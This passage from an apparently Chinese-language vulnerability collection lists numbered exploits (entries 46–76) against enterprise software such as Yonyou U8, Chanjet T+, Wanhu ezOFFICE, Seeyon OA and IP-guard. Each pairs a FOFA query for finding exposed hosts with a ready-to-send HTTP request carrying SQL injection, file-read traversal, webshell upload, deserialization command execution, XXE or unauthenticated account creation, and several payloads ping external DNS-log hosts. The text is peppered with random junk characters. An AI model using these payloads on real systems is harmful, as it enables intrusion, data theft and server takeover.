<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest


46. 用友GRP-U8 sqcxIndex.jsp SQL注入
% ^5 `7 U! H9 F0 R5 ?  h& EFOFA：app="用友-GRP-U8"
GET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
8 X  @; n8 a: r, d3 S' WHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
1 @& ?2 V2 n1 T  n2 b& t: |Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
; a- y- |! s6 z6 {+ HAccept-Encoding: gzip, deflate
" e1 `5 n- {  J" Y* D, mAccept-Language: zh-CN,zh;q=0.9
Connection: close
8 Q3 X  V* M8 C6 U5 I, b: t2 @
1 P- @& J- A6 K9 ~
47. 用友GRP A++Cloud 政府财务云 任意文件读取
FOFA：body="/pf/portal/login/css/fonts/style.css"
  o& X) ?4 ?# M! Z# QGET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
Host: x.x.x.x
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
% j' e8 b6 X5 J" ZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
If-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
Connection: close

& g. s# ]; a5 ?& f/ N
: P* h+ y/ @% @. k% S) F3 i
' O" K  R9 s$ v) k; j48. 用友U8 CRM swfupload 任意文件上传
FOFA：title="用友U8CRM"
, r* i: y" V3 h6 G8 EPOST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
: W8 D/ N1 R: f6 ^Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
. f8 s. v  d' A$ s) NAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
4 W& }  g) C# v9 T  ZAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;boundary=----269520967239406871642430066855
------269520967239406871642430066855
2 w/ E- i# Q' H& Y% kContent-Disposition: form-data; name="file"; filename="s.php"
5 d' X% E  x8 ^1231
* Q! G& Q7 Z  [4 |Content-Type: application/octet-stream
------269520967239406871642430066855
Content-Disposition: form-data; name="upload"
upload
------269520967239406871642430066855--

5 n" b, F/ j" _
7 Y8 u2 h+ M+ J8 e" i+ F7 `49. 用友U8 CRM系统uploadfile.php接口任意文件上传
FOFA：body="用友U8CRM"
" G& l6 `/ \/ ]/ F, A5 f" x! f9 `
POST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
3 K1 U; V! F0 K' M+ u0 K1 ?Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
: E& T- ^2 E0 a; u. |5 kContent-Length: 329
& O0 O( |7 p$ ], h8 kAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
* o  n: l/ Y- D. |' I+ `Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
2 A7 t; M; r% GContent-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w
7 P' \, X- Q( E4 O3 o
! d0 i: r: k( o* f-----------------------------vvv3wdayqv3yppdxvn3w
% ?. w# B7 c1 b4 UContent-Disposition: form-data; name="file"; filename="%s.php "
Content-Type: application/octet-stream
/ u/ ?, s1 W/ Q. j" C
wersqqmlumloqa
-----------------------------vvv3wdayqv3yppdxvn3w
7 F9 W3 W/ r7 g9 j3 |* d# \Content-Disposition: form-data; name="upload"

/ \4 b8 q0 Y* l5 \! G& Eupload
-----------------------------vvv3wdayqv3yppdxvn3w--
# A  Z/ D7 D  x3 s6 Z
* j, F: K- ^* m* R" [
$ z8 K# X# `% _; A( G. X( dhttp://x.x.x.x/tmpfile/updB3CB.tmp.php
: C# t9 J5 i2 ^) ]4 Z9 r
50. QDocs Smart School 6.4.1 filterRecords SQL注入
FOFA：body="close closebtnmodal"
POST /course/filterRecords/ HTTP/1.1
Host: x.x.x.x
  [) G/ M4 l; T* r' u" Z" `User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Content-Length: 224
Accept: */*
' `3 M2 ]- D8 lAccept-Language: en
Content-Type: application/x-www-form-urlencoded
4 {/ C% l& c# k2 @: q# \5 O  C- g) qAccept-Encoding: gzip

searchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1


* h/ j* J3 }7 T8 Y; ?51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
FOFA：app="云时空社会化商业ERP系统"
GET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
% L, B8 x" o: b# Z, s5 l5 kUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
2 n$ F" [' L% Z/ P# U9 B7 UAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
7 S9 @/ B. s- B+ CConnection: close


52. 泛微E-Office json_common.php sql注入
FOFA：app="泛微-EOffice"
POST /building/json_common.php HTTP/1.1
$ U, w7 N' `6 k2 @Host: 192.168.86.128:8097
1 o4 b. w: _; xUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
2 ~) c* ~8 A3 s% gContent-Length: 87
# }' C  N7 P4 D; KAccept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
3 ~4 b( S* F% w8 |& L# K
$ D; t8 }+ Q, V* p" [tfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333


! ]0 y  Y5 Z- j0 _1 y53. 迪普 DPTech VPN Service 任意文件上传
FOFA：app="DPtech-SSLVPN"
8 o" v8 |$ U4 h. F+ o! \& B/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
* q: w2 A9 F1 h

54. 畅捷通T+ getstorewarehousebystore 远程代码执行
FOFA：app="畅捷通-TPlus"
第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
" c5 D  f- ^% b& |: o

完整数据包
POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
# x, U/ w4 Q/ F( m5 i& TUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
Content-Length: 593

* K/ U% g2 t7 S8 K) _{
"storeID":{
0 J2 i% u, G! Z "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName":"Start",
  "ObjectInstance":{
" J# z0 S* l. q! d/ ]   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
- g* O# Y- V3 n, N+ e# B) p    "StartInfo":{
   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "FileName":"cmd",
+ k% _$ ~2 ~0 v; @2 T    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
# B$ i7 w+ ^6 x( ^    }
( X" a% r4 w/ k  }
2 _& \$ C# l  N% m' y& p! U  }
}
1 X) j  _6 s% J6 A5 y: y
# h! e) ~3 A: c# w4 a
% p. y% k' I+ v$ I/ Q9 j第二步，访问如下url
* s1 H8 q+ i5 l$ b6 ]1 L/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt


55. 畅捷通T+ getdecallusers信息泄露
+ V3 `6 v8 S2 x/ UFOFA：app="畅捷通-TPlus"
% w8 ]. o+ O/ Q1 k第一步，通过
# ^: Y6 q8 H0 K2 K/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
( S7 b. e2 n7 V6 ?& }第二步，利用获取到的Cookie请求
- \& @3 h5 {4 O4 _/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers

- `4 e3 D; P2 r2 L2 {56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
# O* m! u" J( cFOFA: app="畅捷通-TPlus"
/ l, x" W2 o3 nPOST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
. ^7 R/ ?: d% _+ u* c1 TContent-Type: application/json
$ S( J( L2 c: r' R& r9 `
) c$ U& O$ w5 a, b9 y: u! k) d6 y{
  "storeID":{
/ I) x+ }  \0 K& q8 V    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
   "MethodName":"Start",
    "ObjectInstance":{
+ i8 F& Q6 z0 j8 o2 Z0 [/ C8 D       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
        "StartInfo": {
           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
8 O  }5 ~7 u% k           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
       }
3 y. p; k' A3 M3 @1 k6 e    }
  }
}

+ D0 h8 X7 P, D% j* ~! Z
57. 畅捷通T+ keyEdit.aspx SQL注入
  A6 {) M7 e/ `& Y( RFOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
+ P- s# y4 u# H7 Y8 aHost: host
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
6 z  }7 D6 {3 ?# q. B# S6 [Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close
' J' X8 l5 W( X9 m1 ?4 t4 |

58. 畅捷通T+ KeyInfoList.aspx sql注入
; f- M$ f) D6 X9 t5 yFOFA：app="畅捷通-TPlus"
# Y2 z# l, Z% C$ t! F4 M! E9 L3 JGET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
Host: your-ip
1 _: i% ]8 r* d: N; J- `User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
; t, c# H0 l! {3 m2 AAccept-Encoding: gzip, deflate
' ?9 n8 ?0 z2 @! t" d8 C) ?3 @Connection: close

! Q3 h3 r5 Y- B6 \' E8 V
59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
, t1 S7 q' c/ T$ {6 bFOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
- J$ _3 ?  v, c. A' v! L% CPOST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
Host: 192.168.86.128:9090
; S' i) m& Y6 O/ W) bUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
/ F& }5 \! A' W2 J# J+ P  P( K! xContent-Length: 1669
' k% J+ @! ^2 l6 Y3 L" p8 _Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
- M  S- h7 k( d* QAccept-Encoding: gzip
3 D3 c0 G" k4 H) `7 u7 r+ [3 F
, l2 Y2 W" r# j! ePAYLOAD

* T. d/ ^6 d, H1 ^/ ~
60. 百卓Smart管理平台 importexport.php SQL注入
FOFA：title="Smart管理平台"
1 N7 h0 |, |' O- X  K- `  SGET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
+ n; H$ M- J+ s+ s/ L, B& fHost:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
' x/ F+ m! d) I/ LAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
% F5 q% R3 d+ U: {Accept-Encoding: gzip, deflate
# q% z; m' E. @3 J7 hAccept-Language: zh-CN,zh;q=0.9
Connection: close
5 W5 r; a. f1 @2 C" d

. k1 D; G9 D' a9 I# P61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
3 @. b. @. M; j2 z& z  Q5 _FOFA: title="欢迎使用浙大恩特客户资源管理系统"
* s+ `7 ?- `9 o7 f" a% |' kPOST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 27
9 `5 w. j- P- oAccept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
Content-Type: application/x-www-form-urlencoded

, c) l* w2 ]  e  n5 I0 S7 h7 f8uxssX66eqrqtKObcVa0kid98xa
; ^! [- A$ e- [5 R- Q
3 \) e) o$ A6 A+ G% b9 v8 c: `
' d+ L6 L& m+ P! s2 d  U62. IP-guard WebServer 远程命令执行
' z- V/ V0 |) N' F' C8 G2 o7 `FOFA："IP-guard" && icon_hash="2030860561"
GET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
: `0 u( Q$ i5 }$ S# aHost: x.x.x.x
8 Z1 L+ ?& n4 nUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
$ D8 \; b' g/ F9 ^1 RAccept-Encoding: gzip


访问

. B% H( _9 _: d# r# o& v* |GET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
) @4 G0 |9 R6 C8 N5 }' _Host: x.x.x.x
5 I& C! V# z! r; W, A9 P" o7 `. W
( F0 q! r- ~: v! o
. x' M. M* k% E" y63. IP-guard WebServer任意文件读取
4 a! }3 f, v& q% |$ X1 f# M, xIP-guard < 4.82.0609.0
9 m/ l3 z8 N" w3 |+ h5 r. g  GFOFA：icon_hash="2030860561"
6 j" c1 a* C7 n$ k0 tPOST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
' S+ H7 v8 x1 G: \" G$ iHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
; g, a7 X8 q1 B% k4 L5 k1 h: PAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
2 N4 m2 D7 U4 @Connection: close
' [- J4 G$ v0 f5 V- d" o. J, R5 U6 HContent-Type: application/x-www-form-urlencoded

path=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A

64. 捷诚管理信息系统CWSFinanceCommon SQL注入
6 X$ B% ~1 B4 p5 d1 q6 MFOFA：body="/Scripts/EnjoyMsg.js"
) D1 t: V! p% p9 ~! GPOST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
3 Y7 e$ C; m" E1 U8 I* s; [: LHost: 192.168.86.128:9001
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Connection: close
+ G" J; ^* a4 BContent-Length: 369
8 Y! n& v3 w9 ?( jAccept: */*
Accept-Language: en
Content-Type: text/xml; charset=utf-8
Accept-Encoding: gzip

7 Y/ {2 m4 ?. E2 N1 H$ I' c<?xml version="1.0" encoding="utf-8"?>
( a3 Z) B0 T: n/ N<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
% Z; T% `0 F4 w2 y4 W8 y2 O<soap:Body>
8 c5 Q" I: J* z    <GetOSpById xmlns="http://tempuri.org/">
# @# ^" }8 I( R+ M$ R      <sId>1';waitfor delay '0:0:5'--+</sId>
/ `& _. N' Q7 ^& }; n3 Z    </GetOSpById>
  </soap:Body>
2 ?! f( Y4 B3 Z  [: l& d</soap:Envelope>


* k, h9 Y0 [; q/ y$ o7 X' G65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
FOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
响应200即成功创建账号test123456/123456
/ N( E2 V7 L. P4 A0 k7 p4 yPOST /SystemMng.ashx HTTP/1.1
: j0 k3 u9 A" o4 k7 r8 y$ a0 eHost:
1 r+ B# @3 m2 f$ @5 C! vUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
2 ~, t, `4 V2 e1 M2 mAccept-Encoding: gzip, deflate
& T! U2 N5 ]) k3 ]0 ?Accept: */*
; q8 E) C+ F6 B( v2 uConnection: close
& N& J# _3 X) d5 p1 ~Accept-Language: en
Content-Length: 174
9 l: _( [3 X! ~; j
: s+ ~# h. q. x  |operatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators
: g; R  ~4 m7 e; }

66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
; }3 ^7 U1 H/ s1 ~FOFA：app="万户ezOFFICE协同管理平台"

9 @7 m) r$ T2 |5 n, o* }! XGET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
0 Y* J+ Z. I& y5 D0 |9 X* mHost: x.x.x.x
: c& }- k  @8 S! a( j' HUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
. _" n9 q. ]7 A1 `& h" t9 _. PAccept: */*
Accept-Language: en
) k$ _( y/ Y' |: @" {3 Y' K) a: AAccept-Encoding: gzip


; M, D; Y# f1 V! P! X8 R) v第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在
) p7 |0 d! U1 ?5 W5 {& A( q: E' Y
7 k+ L' ?) U1 @1 p' l67. 万户ezOFFICE wpsservlet任意文件上传
FOFA：app="万户网络-ezOFFICE"
3 E. S0 w9 ~- }" V0 h* y2 H5 N: KnewdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
/ E$ N# x5 n2 s0 QPOST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
, J3 x! H& F, w5 RContent-Length: 173
$ f" @7 A" Z6 O- `- L+ GAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
3 t) ~8 H7 ~* m9 c8 w. Q  qConnection: close
Content-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
DNT: 1
2 G- r. Y6 U/ r. KUpgrade-Insecure-Requests: 1

--ufuadpxathqvxfqnuyuqaozvseiueerp
Content-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"
" T. P/ _' l. A+ R. k
/ d, ?7 H1 d2 @' g<% out.print("sasdfghjkj");%>
--ufuadpxathqvxfqnuyuqaozvseiueerp--
* U0 J( O# J9 e; T& t: G% v
. U1 H) G( h: K# ?) {3 _
文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp

5 @" |& i! t, k2 U# n: a8 D68. 万户ezOFFICE wf_printnum.jsp SQL注入
& p* D; K/ o* d5 ~/ vFOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
# w2 u1 j5 l, U6 k$ e) y* |/ e1 QHost: {{host}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
1 ^2 E' R1 E, x8 R6 r* dConnection: close


69. 万户 ezOFFICE contract_gd.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
7 ^& ~' K- Y# m* dGET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
Host: your-ip
$ C+ h5 v+ G; p4 w( D% a& T8 MUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
8 h+ u0 l' m% J: tAccept: */*
Connection: keep-alive
' x0 a# b2 p5 X: P

! l9 F3 d' N0 \70. 万户ezEIP success 命令执行
FOFA：app="万户网络-ezEIP"
/ e6 _' {+ K8 ~. APOST /member/success.aspx HTTP/1.1
Host: {{Hostname}}
. \) j( N& t9 o- GUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
2 d& s' K, s! ?6 @, \" SSID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
0 c' Q; f; }5 x7 nContent-Type: application/x-www-form-urlencoded
TYPE: C
Content-Length: 16702
/ q* j0 k' R3 U4 P' a
% n/ p" M3 q3 v. b2 [0 Y__VIEWSTATE=PAYLOAD

5 Q& t1 T8 ~3 p& @& J" J8 d
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
, ]. ~/ ?5 ?) Z! n# `, A) YFOFA：body="PM2项目管理系统BS版增强工具.zip"
. `3 b" H) @" lGET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Connection: close
& F3 o9 I: |% b" sAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
1 _. f& c6 P( G+ P$ |Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1
& c" t) h% V6 q! s

72. 致远OA getAjaxDataServlet XXE
FOFA：app="致远互联-OA"
POST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
3 w3 n8 K2 Q9 ]& j8 \Host: 192.168.40.131:8099
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
/ H  K7 b5 _( `9 aConnection: close
3 M% I9 {! d5 i+ p8 `  o4 t3 ?Content-Length: 583
Content-Type: application/x-www-form-urlencoded
  z+ S: l/ g5 P9 y8 kAccept-Encoding: gzip

1 ?5 v) f9 G: y, g4 US=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E
: w9 H- i. d# I) j; m
8 _/ p, {, p9 u. s
0 v, m' ?7 i) ^& ]& `73. GeoServer wms远程代码执行
FOFA：icon_hash=”97540678”
$ a6 y' S: @( `) ~* x& g# SPOST /geoserver/wms HTTP/1.1
% X, g, k$ h3 z/ i8 FHost:
" a+ G+ y8 ~: zUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
( \' W; ^! [& {" ^Content-Length: 1981
6 ]4 {$ L' S8 m  s8 kAccept-Encoding: gzip, deflate
; ]/ t9 e* r8 Z8 q+ F) pConnection: close
Content-Type: application/xml
SL-CE-SUID: 3

, i  I9 {7 W2 G. x- k  XPAYLOAD
8 e+ q: f; W: A5 A
9 t# ~# g" |2 f+ z+ A, A. M
7 P; y: L7 ?( q# r) b7 F; Z, ^& L3 P) B74. 致远M3-server 6_1sp1 反序列化RCE
6 v3 H0 _# B: X* J3 N( e9 IFOFA：title="M3-Server"
9 E. ?6 q5 B- ~  pPAYLOAD

# n+ j% S6 Y2 z4 D4 y75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
FOFA：app="TELESQUARE-TLR-2005KSH"
GET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
Host: x.x.x.x
3 ^$ [; P* |8 \; MUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
0 r) h7 _* R* M+ w% g5 z5 Y: n% sConnection: close
) H3 l  C, {8 ], L+ G6 O& aAccept: */*
: ]: r1 z; U: o9 u. q2 DAccept-Language: en
+ ]1 s3 r8 R1 ~8 ^* G( RAccept-Encoding: gzip

% t0 I! P9 X- L/ g% u
GET /cgi-bin/test28256.txt HTTP/1.1
Host: x.x.x.x


5 L8 Q( e1 N3 Y% C/ c3 I76. 新开普掌上校园服务管理平台service.action远程命令执行
FOFA：title="掌上校园服务管理平台"
/ \) @+ m( O9 ?, X* Y" F6 A' YPOST /service_transport/service.action HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Content-Length: 211
